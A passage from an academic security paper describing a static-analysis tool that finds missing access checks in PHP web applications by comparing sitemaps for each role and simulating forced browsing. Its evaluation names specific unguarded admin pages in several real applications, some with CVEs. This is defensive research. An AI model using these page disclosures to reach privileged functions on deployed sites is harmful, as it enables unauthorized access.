cess to “user delete.php” fails, whereas a direct access to
“user add.php” succeeds, indicating that “user delete.php”
is guarded and “user add.php” is vulnerable.

3 Approach Formulation
This section formulates our high-level approach. We de-
fine the notions of role, explicit link, forced browsing,
web application and access control vulnerability, and
present two assumptions we make with regard to roles
and intended accesses.

Definition 1 (Role). A role r ∈ R captures the set of
allowed accesses for all users of role r where set R denotes
roles that a web application has. Each role r represents a
distinctive set of privileges.

Assumption 1 We assume that roles in R form a lat-
tice 〈R,�〉, where � denotes the ordering relationship
between any two roles. Under this assumption, accessing
a privileged resource as an unprivileged role is considered
a privilege escalation attack. Roles at the same level of
the lattice are not ordered by � as they may represent
different sets of allowed accesses. The role for adminis-
trators is �; the role for public users is ⊥; and the role for
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normal logged-in users lies in the middle of the lattice.

Definition 2 (Explicit Link). In a web application,
there exists an explicit link from page ni to a different
page n j when it is possible to jump to n j via an explicit
URL in ni, incurring no exceptions or errors. URLs might
appear in file inclusions, header redirections, HTML tags
for anchors, forms, meta refresh headers, frames, iframes,
scripts, images or links.

Definition 3 (Forced Browsing). Forced browsing is
the act of directly accessing privileged pages rather than
following explicit links in a web application. Attackers of-
ten harness brute force techniques to access hidden pages
with predictable locations. We consider forced browsing
successful when HTML pages presented to two differ-
ent roles are identical, and no redirections, exceptions or
errors occur during the page rendering process.

Definition 4 (Web Application). Let node represent
a web page. Suppose that a web application contains
k nodes. Given a user role r ∈ R, we abstract the web
application as Pr = (Sr,Qr,Er, Ir,Πr,Nr), where

• Entry set Sr contains the entry nodes to the web
application. We include index pages in all directories
in the entry set. Different roles may have different
entry sets.

• State set Qr = {qi | 0 ≤ i < k} is a set of applica-
tion states. For each node ni, an application state qi
captures critical information at that node. It might
include session values, cookie values, request pa-
rameter values, database records, variable values or
function return values.

• Explicit edge set Er = {〈ni,n j〉 | 0 ≤ i, j < k}. An
explicit edge from node ni to n j exists iff ni in state
qi contains an explicit link to n j.

• Implicit edge set Ir = {〈ni,n j〉 | 0 ≤ i, j < k}. An
implicit edge from node ni to n j exists iff forced
browsing enables one to jump to n j from ni in state
qi. Accesses via implicit edges are allowed but often
unintended.

• Navigation path set Πr = {(ni)0≤i<l | 0 < l < k ∧
n0 ∈ Sr ∧ 〈ni,ni+1〉 ∈ (Er ∪ Ir)}. It consists of all
possible navigation paths for role r, including ex-
plicit edges as well as implicit edges.

• Explicitly reachable node set Nr consists of nodes
that are reachable from application entries in Sr via
explicit edges in Er. It can be easily computed with
a graph reachability analysis.

Assumption 2 For each node in a web application, if
multiple roles can reach this node on navigation paths

composed of only explicit edges, we assume that the
privilege level required to access this node is determined
by the least privileged role.

Definition 5 (Access Control Vulnerability). Let
a,b ∈ R denote two roles that can be ordered in a web
application where role b is less privileged than role a, i.e.,
b � a. An access control vulnerability exists at node n
when:

n ∈ Na ∧n /∈ Nb ∧∃ πb ∈ Πb (n ∈ πb)

In this definition, destination node n is a privileged
node intended to be accessible to role a but not role b. We
use n ∈ πb to denote that n is on navigation path πb. This
node is vulnerable to access control attacks when a user
of role b is able to access n via an allowed, but probably
unintended, navigation path πb.

4 Analysis Algorithm
In this section, we introduce the three major algorithms
of our approach. Section 4.1 describes how our analysis
automatically infers specifications of implicit access con-
trol assumptions and detects access control vulnerabilities
from a high-level view. Section 4.2 shows the algorithm
that we use to build per-role sitemaps. Finally, we present
the detailed link extraction algorithm in Section 4.3.

4.1 Vulnerability Detection
Figure 2 presents the vulnerability detection algorithm
which is the core of our approach. This algorithm infers
privileged nodes from the source code of a web applica-
tion and identifies nodes that are not properly protected.

DETECTVULS(Speca,Specb,reg)
1 Vuls ← /0
2 nfa ← REG2NFA(reg)
3 dfa ← NFA2DFA(nfa)
4 Na ← BUILDSITEMAP(Speca,dfa)
5 Nb ← BUILDSITEMAP(Specb,dfa)
6 Privileged ← Na \Nb
7 for each n in Privileged
8 do 〈cfga,Ra〉 ← GETCFG(n,Speca)
9 〈cfgb,Rb〉 ← GETCFG(n,Specb)

10 if SIZEOF(cfga) = SIZEOF(cfgb) and Ra = Rb
11 then Vuls ← Vuls∪{n}
12 return Vuls

Figure 2: Algorithm for Vulnerability Detection.

Let Speca and Specb denote specifications for role a and
role b respectively. Initially, the set of vulnerable nodes
Vuls is empty. First, this algorithm parses the regular
expression reg, which captures HTML tags where a link
might appear, into a non-deterministic finite automaton
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(NFA). Then, the algorithm transforms the NFA into a
deterministic finite automaton (DFA). Either NFA or DFA
could be used for extracting links, and we chose DFA for
its advantage on performance and the ease of FA state
management.

Throughout this paper, we assume role a is more priv-
ileged than role b. Following Definition 4, we use Na
and Nb to denote the sets of explicitly reachable nodes
for roles a and b respectively. Function BUILDSITEMAP,
whose details are shown later in Section 4.2, computes
these two sets. Relying on Assumption 2, the algorithm
infers privileged nodes that are present in Na but not in Nb
(Line 6). For the example in Section 2, Na ={“index.php”,
“user add.php”, “user delete.php”, “functions.php”} and
Nb ={“index.php”, “functions.php”}.

Access checks at privileged locations may be missing
or insufficient. This algorithm analyzes each privileged
node n twice with function GETCFG, once for role a to
create an oracle for the intended server response (Line 8),
and once for role b to emulate forced browsing (Line 9).
Given a role r and a privileged node n, GETCFG returns
a context-free grammar (CFG) cfgr and the set of page
redirections Rr.4 The obtained cfgr is an approximation
of the dynamic HTML output of node n. We observe that
when an access check succeeds, users are often granted
accesses to sensitive information or operations; otherwise,
they are redirected to another page, or presented with error
messages or login forms. In the latter case, CFG sizes of
the two roles are different because of the different HTML
outputs that are presented. Consequently, if the sizes of
the two CFGs or the two redirection sets differ, node n is
considered guarded; otherwise, n may be vulnerable (Line
11). For the privileged page “user delete.php” shown in
Figure 1, SIZEOF(cfga) �= SIZEOF(cfgb) and Ra = Rb =
/0, indicating that the page is guarded; for the privileged
page “user add.php”, SIZEOF(cfga)= SIZEOF(cfgb) and
Ra = Rb = /0, indicating that the page is vulnerable.

4.2 Building Sitemaps
Function BUILDSITEMAP shown in Figure 3 builds a per-
role sitemap with specifications Specr for role r and the
DFA dfa. We use a worklist-based algorithm to traverse
nodes in a web application in a breath-first manner. Ini-
tially, both the visited node set Visited and the edge set Er
are empty, and the worklist WkLst is initialized with the
entry set Sr specified in Specr (Line 3).

In each iteration of the loop, function GETWORKN-
ODE pops a working node ni from the front of list WkLst
and retrieves its associated state qi from Specr (Line 5)
to find outgoing edges of this working node. Next, this
algorithm constructs a CFG that represents the possible
HTML outputs of node ni (Line 6). Besides cfgi, function

4Throughout this paper, CFG stands for context-free grammar rather
than control-flow graph.

BUILDSITEMAP(Specr,dfa)
1 Er ← /0
2 Visited ← /0
3 WkLst ← GETENTRIES(Specr)
4 while WkLst
5 do 〈ni,qi〉 ← GETWORKNODE(WkLst,Specr)
6 〈cfgi,Ri,Fi〉 ← CONSTRUCTCFG(ni,qi)
7 Li ← EXTRACTLINKS(cfgi,dfa)
8 Nj ← Li ∪Ri ∪Fi
9 for each n j in Nj

10 do Er ← Er ∪{〈ni,n j〉}
11 Visited ← Visited∪{ni}
12 N ← ACTIVE(Nj)\ (Visited∪WkLst)
13 WkLst ← APPEND(WkLst,N)
14 return GETNODES(Er)

Figure 3: Algorithm for Building Sitemaps.

CONSTRUCTCFG also returns the page redirection set Ri
and the file inclusion set Fi as links in these two sets also
contribute to outgoing edges in a sitemap. Then, function
EXTRACTLINKS extracts a set of matched links Li that
are present in cfgi based on dfa (Line 7). The details of
EXTRACTLINKS are presented later in Section 4.3. The
set of reachable nodes Nj for ni is the union of Li, Ri and
Fi (Line 8). We conservatively include Fi in this union be-
cause included files may present sensitive information or
operations. The algorithm adds an outgoing edge 〈ni,n j〉
to the explicit edge set Er for each node n j ∈ Nj (Line
10) and then adds ni to the visited node set (Line 11). To
determine which nodes to analyze, we partition nodes into
active nodes and inactive nodes, and only analyze active
ones. Active nodes may have outgoing edges in a sitemap,
whereas inactive nodes are dead ends. For example, a
PDF file is considered an inactive node, while a PHP page
is considered an active node. Finally, the algorithm adds
the newly discovered active nodes to the worklist, exclud-
ing the ones that have been visited or are already in the
worklist (Line 12, 13). The loop terminates when WkLst
becomes empty, indicating that the construction of a per-
role sitemap is complete. At this point, function BUILD-
SITEMAP returns the set of explicitly reachable nodes Nr
based on Er (Line 14). When work node ni =“index.php”
shown in Figure 1 is analyzed for role a in a loop iter-
ation, Li ={“user delete.php”, “user add.php”}, Ri = /0
and Fi ={“functions.php”}. Therefore, three new outgo-
ing edges from “index.php” are added to Ea. In contrast,
when “index.php” is analyzed for role b, Li = Ri = /0 and
Fi ={“functions.php”}. In this case, only one new edge
is added to Eb.
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4.3 Link Extraction
We use C to denote a CFG, and F to denote an FA. In our
setting, a CFG represents the dynamic HTML output of a
node and an FA matches a single link-introducing HTML
tag of various forms. Let L (C) be the set of words in the
language for the CFG and L (F) be the set of words in
the language for the FA. Suppose that function SUBSTR
returns true only when w′ is a substring of w. The output
of EXTRACTLINKS on C and F is defined as follows:

EXTRACTLINKS(C,F) = { w′ | w ∈ L (C) ∧
w′ ∈ L (F) ∧
SUBSTR(w′,w) }

We could use a straight-forward three-step approach
to extract links. In the first step, we could use the stan-
dard CFG-reachability algorithm [20] to compute a CFG
representing the intersection of the two languages for C
and F ′, where F ′ matches HTML outputs that contain
at least one link-introducing tag. The subtle difference
between F ′ and F is that F ′ matches link-introducing tags
as well as link-irrelevant HTML outputs, while F only
matches link-introducing tags. In the second step, we
could generate all possible HTML outputs of the CFG. In
the third step, we could use an HTML parser to extract
links from the generated HTML outputs. Nevertheless,
this approach is not ideal for two reasons. The first is
that the words of a CFG can be infinite and we can only
generate a finite set of possible HTML outputs. The sec-
ond is that the generated HTML outputs are likely being
highly similar, and thus we may repetitively parse similar
HTML outputs. For better performance, we designed a
new algorithm that does not generate intermediate HTML
outputs, but directly extracts links from the CFG.

In a CFG 〈V,Σ,P,S0〉, V is a finite set of variables (i.e.
non-terminals); Σ is a finite set of terminals which is the
alphabet of the language; P = {v → rhs | v ∈ V ∧ rhs ∈
(V ∪Σ)∗} is a finite set of grammar productions; and S0 is
the start variable. In an FA 〈Q,Σ′,q0,δ ,Q f 〉, Q is a finite,
non-empty set of states; Σ′ is the input alphabet; q0 ∈ Q
is the start state; δ : Q× Σ → Q is the state-transition
relation; and Q f ⊆ Q is the set of final states.

Figure 4 shows our link extraction algorithm where
function EXTRACTLINKS is the entry point. We use set
VQW to store 〈v,q,w〉 tuples where v represents a CFG
variable, q is an FA state and w is a partially matched link
string. Completely matched links are stored in set Words.
To begin with, this algorithm walks the CFG with the start
CFG symbol S0, the start FA state q0, and the empty string
which represents the terminals that have been partially
matched (Line 38).

Function WALKTERMINAL is the only function that
advances an FA state q to a new state q′ based on the FA
transition function δ and an input character t (Line 1). If

WALKTERMINAL(t,q,w)
1 q′ ← δ (q, t)
2 if q′ = q0
3 then return 〈q0, “” 〉
4 w′ ← APPEND(w, t)
5 if q′ ∈ Q f
6 then Words ← Words∪{w′}
7 w′ = “”
8 return 〈q′,w′〉

WALKVAR(v,q,w)
10 VQW ← VQW ∪{〈v,q,w〉}
11 RHS ← PRODUCTIONS(v,P)
12 if ISSIGMA(RHS) or RHS = /0
13 then return {〈q,w〉}
14 QW ← /0
15 for each rhs in RHS
16 do if ISEPSILON(rhs)
17 then QW ← QW ∪{〈q,w〉}
18 else QW ← QW ∪WALKSYMBOLS(rhs,q,w)
19 return QW

WALKSYMBOL(s,QW)
21 Result ← /0
22 for each 〈q,w〉 in QW
23 do if ISTERMINAL(s)
24 then QW ′ ← {WALKTERMINAL(s,q,w)}
25 else if 〈s,q,w〉 ∈ VQW
26 then QW ′ ← {〈q,w〉}
27 else QW ′ ← WALKVAR(s,q,w)
28 Result ← Result∪QW ′

29 return Result

WALKSYMBOLS(rhs = [γ],q,w)
31 QW ←{〈q,w〉}
32 for each si in [γ]
33 do QW ← WALKSYMBOL(si,QW)
34 return QW

EXTRACTLINKS(cfg = 〈V,Σ,P,S0〉, fa = 〈Q,Σ′,q0,δ ,Q f 〉)
36 VQW ← /0
37 Words ← /0
38 WALKVAR(S0,q0, “” )
39 return VALID(Words)

Figure 4: Algorithm for Link Extraction.
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q′ is the FA start state q0, which indicates a mismatch,
the algorithm clears the partially matched terminals and
returns (Line 3); otherwise, it appends t to w (Line 4) and
examines q′ again (Line 5). If q′ is a final FA state in Q f ,
the algorithm adds the completely matched link to Words
(Line 6) and resets w′ to the empty string. In this way, we
filter out noises that are irrelevant to links in the CFG and
only keep track of link-introducing HTML outputs.

Recursive function WALKVAR walks the grammar pro-
ductions of variable v under an FA state q and a partially
matched word w. Function PRODUCTIONS retrieves the
set of productions which have v as the left-hand-side vari-
able from the CFG production set P, and returns the set of
right-hand sides RHS (Line 11). The different elements
in RHS indicate how the dynamic HTML output might
diverge for v. Function ISSIGMA checks whether a set is
equivalent to the CFG alphabet Σ. A link of value Σ∗ can
point to any file in the application and therefore should
be discarded. If RHS forms the alphabet or the empty
set, the function returns the pair of unchanged q and w
in a set (Line 13); otherwise, it walks the elements in set
RHS one by one. In each loop iteration, if a right-hand
side rhs has no symbols, the HTML output remains the
same (Line 17); otherwise, the algorithm searches the set
of new possible outcomes QW ′ with a call to function
WALKSYMBOLS (Line 18).

Recursive function WALKSYMBOLS walks the sym-
bols in list [γ] in order. Consequently, links in the CFG
are matched in the order of their appearances in a possible
HTML output. Here [γ] = (si)

∗ ∧ si ∈ (V ∪Σ), represent-
ing a sequence of right-hand-side symbols. For each
symbol si in the list, the algorithm transitions the set of
possible outcomes to a new set (Line 33).

Recursive function WALKSYMBOL walks a right-hand-
side symbol s under each possible outcome 〈q,w〉. In each
loop iteration, the algorithm first examines the symbol
s (Line 23). If s is a terminal, the FA state is determin-
istically advanced via function WALKTERMINAL (Line
24). Otherwise, if the symbol is a variable, this algorithm
recursively calls function WALKVAR for s (Line 27) when
v is associated with a new q or a new w. The use of set
VQW ensures the termination of the algorithm. This al-
gorithm stops when all reachable grammar productions

have been explored at least once. A concrete example of
how this algorithm works is given in Section 5.2.2.

5 Implementation
As PHP is one of the most popular programming lan-
guages for web applications, we implemented our ap-
proach by extending Wassermann and Minamide’s PHP
string analyzer [21, 30], which is written in OCaml. The
original PHP string analyzer was developed to detect in-
jection vulnerabilities in web applications, and it analyzes
individual pages in isolation and explores all execution
paths. To detect access control vulnerabilities, we mod-
ified the string analyzer to build per-role sitemaps and
examine connections between different pages. In par-
ticular, we introduced the concept of role into the static
analyzer, added new specification rules for application
states and entry sets, and strategically explored paths
based on branch feasibilities. To explore only feasible
execution paths, we keep track of both arithmetic con-
straints and string constraints. For arithmetic constraints,
the analyzer consults a Satisfiability Modulo Theories
(SMT) solver Z3 [8]; for string constraints, it consults a
custom-built string constraint solver. Furthermore, we de-
signed and implemented the algorithm shown in Figure 4
to efficiently extract explicit links from CFGs, added sup-
port for 176 built-in PHP functions, and modified both the
specification lexer and parser to support specifications for
the values of integers, floating-point numbers and strings.

Figure 5 shows our system architecture. A web appli-
cation can have multiple roles, and our analysis compares
a pair of ordered roles each time. Initially, the DFA con-
structor transforms the given regular expression reg into
a DFA. The detection of access control vulnerabilities is
carried out in two major steps. First, the sitemap builder
explores the given web application based on parsed speci-
fications and the DFA. Second, the reachable nodes com-
parator infers what privileged nodes are, and the vulnera-
bility detector performs forced browsing to detect nodes
that are vulnerable to access control attacks.

5.1 Specification Rules
In our analysis, specifications are parsed with a lexer and
a parser. For each role r, we only require developers to
specify the entry set Sr and the set of critical application
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states Qr. Multiple roles can share the same set of en-
try points. Either index pages or active pages with no
incoming edges can be entry nodes. Index pages often
have conventional names such as “index.php” and “in-
dex.html”, and can be easily identified with a file scan;
active pages with no incoming edges can be specified as
entry nodes by developers. The types of application states
that we support are listed in Definition 4. The state values
that can be specified include abstract types and concrete
values of built-in PHP types, and string values that can
be represented by a regular expression. For function in-
vocations, we allow developers to pinpoint an invocation
by specifying the filename and line number where the in-
vocation occurs. This is especially useful when function
invocations return different values at different call sites.

Optionally, developers can explicitly specify a set of
privileged nodes. In contrast to implicit navigation paths
which involve forced browsing, explicit navigation paths
are often tested more thoroughly. However, it is still pos-
sible that an allowed access to a sensitive node via an
explicit navigation path of an unprivileged role is unau-
thorized, violating Assumption 2. In this case, when an
unprivileged user can explicitly navigate to a privileged
node, we would have false negatives. To solve this prob-
lem, we allow developers to explicitly specify privileged
nodes. Such a node may be vulnerable to access control
attacks even if it is explicitly accessible for both roles.

5.2 Sitemap Builder
The sitemap builder has two components: the context-free
grammar constructor and the link extractor. With these
two components, our analysis constructs a CFG for each
explicitly reachable node, and extracts links embedded in
the CFG to find outgoing edges of the node.

5.2.1 Context-Free Grammar Constructor

For each web page, our analyzer first parses the page
into an Abstract Syntax Tree (AST), and then transforms
the AST into an Intermediate Representation (IR), dis-
tinguishing every variable occurrence. Interested readers
can refer to Wassermann’s work [30] for more details.

To build a per-role CFG, our analyzer explores the IR
only when necessary by predicting branch feasibilities
with an inter-procedural path-sensitive analysis. It ana-
lyzes statements in the IR in a top-down manner, updating
path conditions for both string constraints and arithmetic
constraints. For arithmetic constraints, our analyzer re-
sorts to the integrated Z3 to check the satisfiability of
constraints; for string constraints, it feeds possible values
of string variables and their aliases to our string constraint
solver in exchange of answers. Our prototype string con-
straint solver supports string constraints which may con-
tain multiple variables, regular expressions, equality and
inequality operators, and checks on string lengths. We
tried to solve string constraints with HAMPI [15], but

function checkUser ( ) {
if ( !isset ($_SESSION ["validUser" ] )

| | $_SESSION ["validUser" ] != true ) {
header ("Location: login.php" ) ;

}
}
checkUser ( ) ;
sensitiveOperation ( ) ;

Figure 6: An Example of Path Exploration.

it does not support multiple string variables yet. When
constraints of a conditional is unsolvable, the analyzer
explores both branches, updating path conditions for both
the true branch and the false branch. For each function
call, our analyzer first checks its calling context and then
explores the function only when the context is new. Next,
it propagates constraints on the arguments and related
global variables of the function call. The IR exploration
terminates when all possible branches have redirections or
exits, indicating that none of the unexplored branches are
feasible. In our implementation, we do not consider differ-
ent contexts of page accesses and assume the parameters
of HTTP requests to be Σ∗ unless specified. In this way,
we analyze each page only once, making our analyzer
scalable at the expense of obtaining over-approximations
of outgoing edges.

Finding the targets of PHP includes is a non-trivial task.
It requires value resolution of possible string variables
that are used for filename construction. Furthermore, it
is necessary to find the directories that a PHP include file
may reside in. When resolving PHP include paths, the
following steps are performed in order:

• The include path in the configuration of a PHP
application is checked first;

• If no matching file is found under include path,
the directory of the calling script is checked;

• If no matching file is found in the directory of
the calling script, the current working directory is
checked;

• If no matching file is found in the current working
directory, the inclusion finally fails.

We illustrate our basic exploration strategy with a sim-
ple example shown in Figure 6 based on one of the web ap-
plications that we have analyzed. Function checkUser
checks whether an access should be allowed for a given
user. Function SensitiveOperation will only be
executed when the user has passed the access check. Sup-
pose that $ SESSION[“validUser”] is a critical applica-
tion state which determines the privileges of a role, and
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Figure 7: A Deterministic Finite Automaton Example.

its value should be specified as true for role a and false
for role b. Our analyzer explores the statements of the
IR in order. Besides function definitions, the first state-
ment it encounters is the function call checkUser().
Therefore, it retrieves the corresponding function body
and continues from the first statement in the function. Be-
cause the first statement is an if statement, the analyzer
attempts to solve the satisfiability of constraints to deter-
mine branch feasibilities. If the given role is b, only the
true branch is feasible. As the true branch has a header
redirection, the analyzer stops exploring the statements
after this function call. Otherwise, when the role is a, only
the false branch is feasible, and the analyzer continues ex-
ploring the statements after this function call, and eventu-
ally reaches function call SensitiveOperation().

Path sensitivity prevents us from exploring infeasible
paths. For example, suppose we have predicate $x > 1 in
the current path condition when the exploration reaches
an if statement, the branch target of which depends on a
conditional $x < 0. To determine the feasibilities of the
two possible branches, our analyzer sends two queries
to Z3. The first query appends the new constraint to the
existing path condition, while the second query appends
the negation of the new constraint to the existing path
condition. Z3 will conclude that ($x > 1 ∧ $x < 0) is un-
satisfiable, but ($x > 1 ∧ ¬($x < 0)) is satisfiable. Thus,
only the false branch is feasible and our analyzer will not
explore the infeasible true branch of the if statement.

5.2.2 Link Extractor

Our link extractor extracts links to different web pages
within a given web application. Since we are interested in
constructing sitemaps, our link extractor filters links that
point to pages outside of the application. We did not reuse
the implementation from the previous work [30], which
is based on the standard graph-reachability algorithm, but
instead implemented the new link extraction algorithm
shown in Figure 4 to eliminate the need of computing
intermediate HTML outputs. As an example, Figure 7

shows an FA which matches anchor, form, frame and
iframe tags in HTML outputs based on a simple regular
expression:

/<([Aa]
|[Ff][Oo][Rr][Mm]
|[Ii]?[Ff][Rr][Aa][Mm][Ee]

)\s[ˆ>]*>/

We only show state-advancing edges in Figure 7 and omit
state-resetting edges. In this FA, the start state q0 = 1
and the final state set Q f = {8}. For any FA state, a
state-resetting edge directs the current FA state back to
the start FA state on input characters other than the ones
shown on the state-advancing edges. We use the following
simplified PHP code taken from one of our test subjects
to show how our link extractor works.

echo "<div><a href="
. $lang
. ".php>Anchor</a></div>" ;

The above PHP code dynamically generates a link de-
pending on the value of variable $lang, which has three
possible candidates: “english”, “spanish” and “french”.
For this code, a CFG with five variables and seven gram-
mar productions will be generated:

S0 → S1S2

S1 → “<div><a href=”
S2 → S3S4

S3 → “english” | “spanish” | “french”
S4 → “.php>Anchor</a></div>”

In this CFG, V = {S0,S1,S2,S3,S4} and S0 is the start
symbol. Note that S3 has three associated grammar pro-
ductions separated by bars. For the algorithm in Fig-
ure 4, the link extraction starts with function call WALK-
VAR(S0,1,“”) (Line 38). Since S0 maps to only one pro-
duction, RHS = {[S1S2]} (Line 11) and our algorithm
issues WALKSYMBOLS([S1S2],1,“”) (Line 18). Then, it



164 20th USENIX Security Symposium USENIX Association

examines the symbols in list [S1S2] (Line 32) in order to
derive the set of possible outcomes QW , the initial value
of which is {〈1,“”〉} (Line 31). Our algorithm sees that
the first symbol S1 is a variable and thus issues WALK-
VAR(S1,1,“”) (Line 27). For S1, RHS ={“<div><a
href=”} (Line 11), and the algorithm issues WALKSYM-
BOLS(“<div><a href=”,1,“”) (Line 18). Now our algo-
rithm examines these terminals in order with function
WALKTERMINAL. The first character is ‘<’, thus the
algorithm transits the FA state from 1 to 2 along a state-
advancing edge in Figure 7, and appends ‘<’ to w which
is now “<”. The second character is ‘d’, thus the algo-
rithm resets the FA state to the start state 1, and clears the
matched terminals in w. The third character is ‘i’, thus
the algorithm stays at the FA start state 1, and w is still
the empty string. Our algorithm continues like this and
by the time it gets to variable S3, the FA is in state 7 with
w =“<a href=”. For S3, RHS ={“english”, “spanish”,
“french”} (Line 11), and our algorithm walks these three
elements one by one (Line 15). There are three possible
outcomes, and thus the return value QW of WALKSYM-
BOLS(S3,7,“< a href=”) is {〈7, “<a href=english”〉,〈 7,
“<a href=spanish”〉,〈7, “<a href=french”〉} (Line 19).
Our algorithm continues until all the seven grammar
rules have been explored. Upon termination, it returns
{“english.php”, “spanish.php”, “french.php”} (Line 39).

5.3 Vulnerability Detector
When the construction of per-role sitemaps is complete,
our analyzer compares the two reachable node sets to infer
privileged nodes. As HTML outputs presented to differ-
ent roles are usually different, the set of privileged nodes
is not empty in most cases. After obtaining the set of
privileged nodes, our analyzer uses the same context-free
grammar constructor again to approximate the outcomes
of forced browsing. Finally, it compares derived redi-
rection sets and the sizes of CFGs to determine whether
forced browsing attemps are successful.

Even when forced browsing is successful, it is possible
that the corresponding page does not contain any sensi-
tive information or operations and is therefore considered
safe. We observed that some pages used as file inclusions
only contain function and class definitions. Such pages
normally serve as inclusion files and are safe on their own.
When the automatic vulnerability detection is over, we
identify such safe pages with manual analysis, report them
as false positives, and then mark the remaining pages as
potentially vulnerable pages.

6 Empirical Evaluation
To evaluate the effectiveness and performance of our ap-
proach, we tested our tool on seven real-world PHP appli-
cations, two of which have patched versions. We picked
these applications because they have reported vulnerabil-
ities, which include injection vulnerabilities as well as

Subject Files LOC

PHP HTML

SCARF 25 1,318 0
Events Lister 37 2,076 544
PHP Calendars 67 1,350 0
PHPoll 93 2,571 0
PHP iCalendar 183 8,276 0
AWCM 668 12,942 5,106
YaPiG 134 4,801 1,271

Table 1: Statistics on Evaluation Subjects.

access control vulnerabilities. The test subjects include
both traditional web applications and Web 2.0 applica-
tions which use AJAX for client-server communications.
The source code of all these PHP applications is publicly
available. For each of the test subjects, we provide a spec-
ification file of at most ten lines. We ran all the tests on a
PC with a quad-core CPU (2.40GHz) and 4 GB of RAM.

Our tool supports multiple roles and each role should
have a set of distinctive application states. Typically, the
administrator role has the most privileges; the normal user
role has necessary privileges for common user operations;
and the public user role has the least privileges. Although
our tool can detect access control violations for any two
roles, we chose to detect access control violations between
administrators and normal users for two reasons. First, the
operations and information that administrators can access
are of greater importance than those that normal users can
access. Second, it is often difficult for attackers to legally
obtain administrator accounts, but easy to obtain normal
user accounts.

Table 1 shows the total number of files as well as the
lines of code for each web application. For the two web
applications that have patched versions, we only list the
statistics for the patched versions in the table. The lines
of code in each application are counted for both PHP
and HTML, excluding comments and empty lines. Our
analysis translates HTML code into equivalent PHP echo
statements.

6.1 Analysis Results
Table 2 shows the analysis results for the nine web appli-
cations. Note that we include two versions of SCARF and
AWCM for vulnerability analysis. Columns “Vulnerable”
and “FP” denote the numbers of detected true vulnerabili-
ties and manually confirmed false positives respectively.
Column “Guarded” shows the number of privileged pages
that are protected by access checks. The last four columns
show numbers of explicitly reachable nodes and explicit
edges in per-role sitemaps.

In summary, our tool found eight different access con-
trol vulnerabilities, four of which are previously unknown.
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Project Privileged Vulnerable FP Guarded Admin Normal

Node Edge Node Edge

SCARF 4 1 0 3 19 149 15 69
SCARF (patched) 4 0 0 4 19 149 15 69
Events Lister 2.03 9 2 2 5 23 113 14 26
PHP Calendars 3 1 0 2 19 35 19 30
PHPoll v0.97 beta 3 3 0 0 21 63 19 58
PHP iCalendar v1.1 1 0 0 1 51 292 50 292
AWCM v2.1 47 1 0 46 176 2,634 129 2,438
AWCM v2.2 final 47 0 0 47 180 2,851 133 2,612
YaPiG 0.95 11 0 0 11 54 260 44 154

Table 2: Vulnerability Analysis Results.

It only has two false positives and correctly reports 119
guarded pages as not vulnerable. We manually confirmed
all vulnerabilities and false positives on deployed web
applications. In addition, the by-products of our analysis,
the generated per-role sitemaps, provide high-level views
of the test subjects and can be useful for understanding or
modifying the structures of these web applications.

6.1.1 SCARF

SCARF is the Standford Conference And Research Fo-
rum. A critical access control checks whether the value
of $ SESSION[“privilege”] equals “admin” in functions
is admin and require admin.

Our tool detected a previously reported vulnerability
(CVE-2006-5909). In this application, only users of role a
are supposed to edit the configuration of the application in
page “generaloptions.php”. However, there is no access
check for this edit privilege. Although the link is hid-
den from users of role b, they could still access and edit
the configuration which affects the whole system. Our
tool correctly reported the other three privileged pages
“addsession.php”, “editpaper.php” and “editsession.php”
as guarded. Even if users of role b know the locations
of these pages, forced browsing would fail because of
the presence of access checks in these pages. The lat-
est version of SCARF fixed the vulnerability, and this is
reflected in the vulnerability analysis result for SCARF
(patched).

6.1.2 Events Lister

Events Lister is a PHP application that allows users
to manage their events. Function checkUser im-
plements an access control by checking whether
$ SESSION[“validUser”] equals true.

Our tool found a new vulnerability in this application
as well as a previously known one (CVE-2009-3168). We
discovered that page “admin/setup.php” has no access
checks and allows users of role b to repeatedly insert test
events into the database of the application. It is even pos-

sible to create new tables in the database if none exists yet.
The known vulnerability in page “admin/user add.php”
permits users of role b to add new users into the system.
This privilege should only belong to users of role a. We
consider the other two reports on privileged pages “ad-
min/recover.php” and “admin/form.php” false positives.
Page “admin/recover.php” allows users of role b to re-
set an administrator’s password by sending a new pass-
word to the administrator’s email address. Since only the
administrator has access to her own email address, the
password reset action does not pose any serious threats.
Page “admin/form.php” contains an HTML form which
is included in other container pages. On its own, this page
does not expose any privileged operations or information,
and is therefore considered safe. The notion of “safe” is
sometimes a subjective matter. In a manual case study of
another web application, we found that public users can
view the list of all registered users with forced browsing.
Such a list is also available for normal users and one can
easily register for a normal user account. Consequently,
it is unclear to us if the implicit access to the list of regis-
tered users is intended. As such, we would rather report
such cases to developers for them to decide.

6.1.3 PHP Calendars

PHP Calendars is an online calendar management system.
It protects privileged pages in the application by check-
ing whether $ SESSION[“admin”] equals “yes” in page
“admin/access.php”.

Our tool detected a known vulnerability (CVE-2010-
0380) in page “install.php” of this application. The
README file in this application warns administrators to
delete this page after installation, but does not check if
the file has indeed been deleted. If “install.php” exists in
a deployed application, any users of role b could modify
the configuration of the application by directly accessing
this page. Because there is an explicit link to this page,
we manually added this page to the privileged node set in
the specification file. The other two privileged pages “ad-



166 20th USENIX Security Symposium USENIX Association

min/import.php” and “powerfeed.php” are not vulnerable.
Note that Na is not necessarily a superset of Nb. In this
application, |Na|= |Nb|, but Na �= Nb.

6.1.4 PHPoll

PHPoll is an online poll system where only users
of role a can pass access checks by providing
correct values of $ COOKIE[$string cook login] and
$ COOKIE[$string cook password]. Note that the
cookie-based access controls are safe in this case because
unauthorized users have no knowledge of valid cookie
values.

Our tool detected three new access control vulnera-
bilities in this application and we manually confirmed
them on a deployed application of PHPoll. All three
pages have no access checks. The first page “modi-
fica configurazione.php” allows users of role b to modify
login IDs and passwords, truncate the configuration table,
and insert new entries into the configuration table of the
application. The second page “modifica votanti.php” lets
users of role b delete votes or update polls stored in the
MySQL database. The third page “modifica band.php”
does not prevent users of role b from reading, updating,
or deleting poll results from the database with POST re-
quests. These access control vulnerabilities pose serious
threats to the security of the application, yet they have not
been reported to the best of our knowledge.

6.1.5 PHP iCalendar

PHP iCalendar is another calendar application which
displays calendar information to users. The only
privileged page is “admin.php”, and it is guarded
by an access check which examines the value of
$HTTP SESSION VARS[“phpical loggedin”].

This application does not have any access control vul-
nerabilities. As Table 2 shows, users of role a can reach
51 pages which include “admin.php”, while users of role
b can only reach 50 pages which exclude “admin.php”.

6.1.6 AWCM

AWCM (AR Web Content Manage system) differ-
entiates role a from role b by determining whether
$ SESSION[“awcm cp”] equals “yes” in a PHP include
file “control/common.php”.

